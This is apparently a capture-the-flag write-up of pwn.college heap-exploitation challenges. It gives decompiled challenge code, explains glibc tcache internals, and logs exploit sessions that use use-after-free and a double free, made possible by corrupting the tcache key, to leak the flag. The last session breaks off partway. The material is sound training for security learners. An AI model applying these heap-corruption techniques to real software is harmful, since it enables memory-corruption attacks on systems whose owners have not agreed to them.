if ( strcmp(s1, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
v7 = atoi(s1);
if ( v7 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0xF2u, "main");
printf("[*] free(allocations[%d])\n", v7);
free(ptr[v7]);
}
if ( strcmp(s1, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
v8 = atoi(s1);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0xFFu, "main");
printf("[*] puts(allocations[%d])\n", v8);
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 480);
size_4 = malloc(0x1E0u);
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, size_4, 0x80u);
puts("[*] read the flag!");
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
This time the read_flag function reads the flag twice into buffers of size 480 bytes.
Exploit
hacker@dynamic-allocator-misuse~free-flag-fumble-easy:/$ /challenge/free-flag-fumble-easy
###
### Welcome to /challenge/free-flag-fumble-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c2c0
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c4b0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 0
Size: 480
[*] allocations[0] = malloc(480)
[*] allocations[0] = 0x562a9e54c6a0
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 1
Size: 480
[*] allocations[1] = malloc(480)
[*] allocations[1] = 0x562a9e54c890
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #29 | SIZE: 473 - 488 | COUNT: 1 | HEAD: 0x562a9e54c6a0 | KEY: 0x562a9e54c010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x562a9e54c6a0 | 0 | 0x1f1 (P) | (nil) | 0x562a9e54c010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 1
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #29 | SIZE: 473 - 488 | COUNT: 2 | HEAD: 0x562a9e54c890 | KEY: 0x562a9e54c010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x562a9e54c890 | 0 | 0x1f1 (P) | 0x562a9e54c6a0 | 0x562a9e54c010 |
| 0x562a9e54c6a0 | 0 | 0x1f1 (P) | (nil) | 0x562a9e54c010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c890
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x562a9e54c6a0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
Index: 0
[*] puts(allocations[0])
Data: pwn.college{4d96a3J7Ce0XBHbjqikTX4-jo2e.0VN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Free Flag Fumble (Hard)
hacker@dynamic-allocator-misuse~free-flag-fumble-hard:/$ /challenge/free-flag-fumble-hard
###
### Welcome to /challenge/free-flag-fumble-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
As always, the hard challenge does not tell us the size of the buffers into which the flag was read.
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+24h] [rbp-12Ch]
unsigned int index_1; // [rsp+28h] [rbp-128h]
unsigned int index; // [rsp+28h] [rbp-128h]
unsigned int v8; // [rsp+28h] [rbp-128h]
unsigned int size; // [rsp+2Ch] [rbp-124h]
void *size_4; // [rsp+30h] [rbp-120h]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
index_1 = atoi(choice);
if ( index_1 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 60u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr[index_1] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
index = atoi(choice);
if ( index > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 76u, "main");
free(ptr[index]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
v8 = atoi(choice);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 88u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
size_4 = malloc(957uLL);
v3 = open("/flag", 0);
read(v3, size_4, 128uLL);
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
We can see that on making the read_flag choice, the program allocates two buffers of size 957 bytes.
Exploit
hacker@dynamic-allocator-misuse~free-flag-fumble-hard:~$ /challenge/free-flag-fumble-hard
###
### Welcome to /challenge/free-flag-fumble-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 0
Size: 957
[*] Function (malloc/free/puts/read_flag/quit): malloc
Index: 1
Size: 957
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 0
[*] Function (malloc/free/puts/read_flag/quit): free
Index: 1
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): puts
Index: 0
Data: pwn.college{8Wq-xUWLolH-kpTT9mLLl4qgFmM.0lN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Fickle Free (Easy)
hacker@dynamic-allocator-misuse~fickle-free-easy:~$ /challenge/fickle-free-easy
###
### Welcome to /challenge/fickle-free-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/scanf/read_flag/quit):
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v12; // [rsp+D8h] [rbp-8h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = nullptr;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 1);
printf("In this challenge, the flag buffer is allocated %d times before it is used.\n\n", 2);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_246E);
printf("[*] Function (malloc/free/puts/scanf/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
size = atoi(s1);
printf("[*] allocations[%d] = malloc(%d)\n", 0, size);
ptr = malloc(size);
printf("[*] allocations[%d] = %p\n", 0, ptr);
}
if ( strcmp(s1, "free") )
break;
printf("[*] free(allocations[%d])\n", 0);
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("[*] puts(allocations[%d])\n", 0);
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "scanf") )
break;
v3 = malloc_usable_size(ptr);
sprintf(s1, "%%%us", v3);
v4 = malloc_usable_size(ptr);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, 0);
__isoc99_scanf(s1, ptr);
puts(byte_246E);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 784);
size_4 = malloc(0x310u);
printf("[*] flag_buffer = %p\n", size_4);
}
v5 = open("/flag", 0);
read(v5, size_4, 0x80u);
puts("[*] read the flag!");
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Unlike previous challenges, read_flag here calls malloc twice before it ever touches the flag:
# ---- snip ----
for ( i = 0; i <= 1; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 784);
size_4 = malloc(0x310u);
printf("[*] flag_buffer = %p\n", size_4);
}
# ---- snip ----
Only the second malloc(784) result is kept, that's the one read() writes the flag into. Since 784 bytes falls within TCACHE's size range, both of these calls will be serviced from the TCACHE bin for that size if there's anything sitting in it.
The problem is that this challenge only gives us one allocation slot (ptr), so a single malloc + free only ever places one chunk into the TCACHE bin. That's not enough:
read_flag's 1stmalloc(784)would pop that single chunk out of the bin (and throw the result away as it's pointer is never saved).read_flag's 2ndmalloc(784)would then find the bin empty, and would be serviced with fresh, unrelated heap memory instead.
The result: size_4 (the pointer the flag actually gets read into) would end up completely unrelated to our ptr, leaving us no way to leak it back out with puts.
To fix this, we need the TCACHE bin to contain the same chunk address twice:
That way, read_flag's first malloc(784) pops one entry and discards the pointer, and its second malloc(784) pops the other entry, landing on the exact same address as our ptr. Since the flag is written into that second allocation, and ptr still refers to the same memory, we can simply puts(ptr) afterward to read it back out.
Freeing the same chunk normally isn't allowed twice in a row as glibc's TCACHE detects this and aborts with "double free or corruption (tcache)." To get around that check, we exploit a use-after-free write to corrupt the chunk's internal key field, tricking the allocator into accepting a second free() on the same chunk. This gives us the two-entries-same-address TCACHE state we need.
Double free
In the allocated memory chunks, the second set of 8 bytes include the pointer key to tcache_perthread_struct. Once a chunk is allocated, the key pointer no longer points to tcache_perthread_struct and is set to NULL. This state of the key is what helps TCACHE distinguish free chunks from allocated ones.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
a = malloc(16)
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 1 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &B ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
│
│
│
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐ │
┆ tcache_entry A ┆ │
├──────────────────┤ │
│ .............. │ │
├──────────────────┤ │
│ NULL │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
When free() is called on a chunk that fits in the TCACHE, the allocator checks if that chunk's key field already points to the tcache_perthread_struct for the current thread.
If key == tcache_perthread_struct, the allocator scans the relevant TCACHE bin to see if that chunk is already there. If it finds it, the program crashes with a "double free or corruption (TCACHE)" error.
If key != tcache_perthread_struct, the allocator assumes the chunk is currently allocated and proceeds to add it to the TCACHE.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
a = malloc(16)
free(a)
┌┄┄┄┄┄┄┄┄ ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
By overwriting the key with a dummy value (or NULL), we can "trick" the allocator into thinking that the chunk is not currently in the TCACHE. This allows us to call free() a second time on the same chunk without triggering the security crash.
Exploit
hacker@dynamic-allocator-misuse~fickle-free-easy:~$ /challenge/fickle-free-easy
###
### Welcome to /challenge/fickle-free-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/scanf/read_flag/quit): malloc
Size: 784
[*] allocations[0] = malloc(784)
[*] allocations[0] = 0x5dbbb3dcb2c0
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 1 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | (nil) | 0x5dbbb3dcb010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): scanf
[*] scanf("%792s", allocations[0])
AAAAAAAAA
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 1 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x4141414141414141 | 0x5dbbb3dc0041 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #48 | SIZE: 777 - 792 | COUNT: 2 | HEAD: 0x5dbbb3dcb2c0 | KEY: 0x5dbbb3dcb010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x5dbbb3dcb2c0 | 0x5dbbb3dcb010 |
| 0x5dbbb3dcb2c0 | 0 | 0x321 (P) | 0x5dbbb3dcb2c0 | 0x5dbbb3dcb010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/read_flag/quit): read_flag
[*] flag_buffer = malloc(784)
[*] flag_buffer = 0x5dbbb3dcb2c0
[*] flag_buffer = malloc(784)
[*] flag_buffer = 0x5dbbb3dcb2c0
[*] read the flag!
[*] Function (malloc/free/puts/scanf/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{Mbk_-TzLM_emeeQEjY3XeOkWk_p.01N3MDL4ITM0EzW}
[*] Function (malloc/free/puts/scanf/read_flag/quit): quit
### Goodbye!
Fickle Free (Hard)
This time we need to find the size of the buffer into which the flag is read.
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
void *ptr; // [rsp+48h] [rbp-98h]
char choice[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v11; // [rsp+D8h] [rbp-8h]
v11 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = 0LL;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/scanf/read_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
if ( strcmp(choice, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2020);
size = atoi(choice);
ptr = malloc(size);
}
if ( strcmp(choice, "free") )
break;
free(ptr);
}
if ( strcmp(choice, "puts") )
break;
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(choice, "scanf") )
break;
v3 = malloc_usable_size(ptr);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr);
puts(byte_2020);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
size_4 = malloc(328uLL);
v4 = open("/flag", 0);
read(v4, size_4, 128uLL);
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
- Size of the memory allocation into which the flag is read:
328
Exploit
hacker@dynamic-allocator-misuse~fickle-free-hard:~$ /challenge/fickle-free-hard
###
### Welcome to /challenge/fickle-free-hard!
###
[*] Function (malloc/free/puts/scanf/read_flag/quit): malloc
Size: 328
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] Function (malloc/free/puts/scanf/read_flag/quit): scanf
AAAAAAAAA
[*] Function (malloc/free/puts/scanf/read_flag/quit): free
[*] Function (malloc/free/puts/scanf/read_flag/quit): read_flag
[*] Function (malloc/free/puts/scanf/read_flag/quit): puts
Data: pwn.college{Amc7hATLzmOx9D_YV-iznVKLvb-.0FO3MDL4ITM0EzW}
[*] Function (malloc/free/puts/scanf/read_flag/quit): quit
### Goodbye!
Malloc Mirage (Easy)
hacker@dynamic-allocator-misuse~malloc-mirage-easy:~$ /challenge/malloc-mirage-easy
###
### Welcome to /challenge/malloc-mirage-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): read_flag
[*] flag_buffer = malloc(896)
[*] flag_buffer = 0x6293f46682c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/puts_flag/quit):
Let's see what the program does by decompiling the binary.
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+24h] [rbp-13Ch]
unsigned int v6; // [rsp+28h] [rbp-138h]
unsigned int v7; // [rsp+28h] [rbp-138h]
unsigned int v8; // [rsp+28h] [rbp-138h]
unsigned int size; // [rsp+2Ch] [rbp-134h]
const char *size_4; // [rsp+30h] [rbp-130h]
void *ptr[16]; // [rsp+40h] [rbp-120h] BYREF
char choice[136]; // [rsp+C0h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_2419);
printf("[*] Function (malloc/free/puts/read_flag/puts_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 228u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v6, size);
ptr[v6] = malloc(size);
printf("[*] allocations[%d] = %p\n", v6, ptr[v6]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 246u, "main");
printf("[*] free(allocations[%d])\n", v7);
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_2419);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 259u, "main");
printf("[*] puts(allocations[%d])\n", v8);
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 896LL);
size_4 = (const char *)malloc(896uLL);
*(_QWORD *)size_4 = 0LL;
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
puts("[*] read the flag!");
}
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
read_flag allocates a chunk, zeroes its first 8 bytes, then reads the flag starting at byte 16.
# ---- snip ----
if ( strcmp(choice, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 896LL);
size_4 = (const char *)malloc(896uLL);
*(_QWORD *)size_4 = 0LL;
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, (void *)(size_4 + 16), 128uLL);
puts("[*] read the flag!");
# ---- snip ----
puts_flag checks that same 8-byte field. If it's zero, the flag isn't printed.
# ---- snip ----
if ( strcmp(choice, "puts_flag") )
break;
if ( *(_QWORD *)size_4 )
puts(size_4 + 16);
else
puts("Not authorized!");
# ---- snip ----
We need that field to become non-zero without touching the flag bytes after it.
TCACHE chunk chaining
When free() is called on a chunk that fits in the TCACHE, the allocator checks if that chunk's key field already points to the tcache_perthread_struct for the current thread.
If key == tcache_perthread_struct, the allocator scans the relevant TCACHE bin to see if that chunk is already there. If it finds it, the program crashes with a "double free or corruption (TCACHE)" error.
If key != tcache_perthread_struct, the allocator assumes the chunk is currently allocated and proceeds to add it to the TCACHE by setting that chunk's key pointer to the tcache_perthread_struct for the current thread. It also adds that chunk to the beginning of the singly-linked list by setting the chunk's next pointer to the address of the previously first chunk.
a = malloc(16)
b = malloc(16)
free(b)
free(a)
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┊ tcache_perthread_struct Void ┊
┊ ┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━ ━┓ ┊
┊ counts: ┃ count_16: 2 ┃ count_32: 0 ┃ count_48: 0 ┃ ... ┊
┊ ┣━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━┫ ┊
┊ entries: ┃ entry_16: &A ┃ entry_32: NULL ┃ entry_48: NULL ┃ ... ┊
┊ ┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━┛ ┊
└┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄│┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┘
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry A ┆
├──────────────────┤
│ next: &B │ ────╮
├──────────────────┤ │
│ key: Void │ │
└──────────────────┘ │
│
╭───────────────╯
│
v
┌┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┐
┆ tcache_entry B ┆
├──────────────────┤
│ next: NULL │
├──────────────────┤
│ key: Void │
└──────────────────┘
Note that next sits at offset 0 of a freed chunk, the same offset puts_flag checks.
If we free two chunks into the tcache, then call read_flag, its malloc(896) pops the head chunk, which is one we already have a pointer to. This makes the flag buffer and our own allocation the same memory (a use-after-free). The flag lands at offset 16, and offset 0 gets zeroed.
Freeing allocations[0] again would normally be caught as a double free. glibc catches double frees by checking the chunk's key field (offset 8): if key == tcache_perthread_struct, it scans the bin to see if the chunk is already sitting there, and aborts if it finds it. But malloc never resets key when it hands a chunk out, only read_flag's own zeroing touched offset 0.
So key is still left over from the first free, and when we free the chunk again, glibc scans the bin, doesn't find the chunk there (since read_flag's malloc already removed it), and lets the free go through. Completing that free means glibc writes allocations[1]'s address into offset 0 as a next pointer, this is just normal bookkeeping for adding a chunk to the tcache list. That write overwrites the zero read_flag left at offset 0 with a non-zero value, while the flag bytes at offset 16 onward are left alone.
So free two chunks, run read_flag, free the same chunk again, then run puts_flag to get the flag.
Exploit
hacker@dynamic-allocator-misuse~malloc-mirage-easy:~$ /challenge/malloc-mirage-easy
###
### Welcome to /challenge/malloc-mirage-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 0
Size: 896
[*] allocations[0] = malloc(896)
[*] allocations[0] = 0x644fee8f22c0
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): malloc
Index: 1
Size: 896
[*] allocations[1] = malloc(896)
[*] allocations[1] = 0x644fee8f2650
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 1
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #55 | SIZE: 889 - 904 | COUNT: 1 | HEAD: 0x644fee8f2650 | KEY: 0x644fee8f2010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x644fee8f2650 | 0 | 0x391 (P) | (nil) | 0x644fee8f2010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/puts_flag/quit): free
Index: 0
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
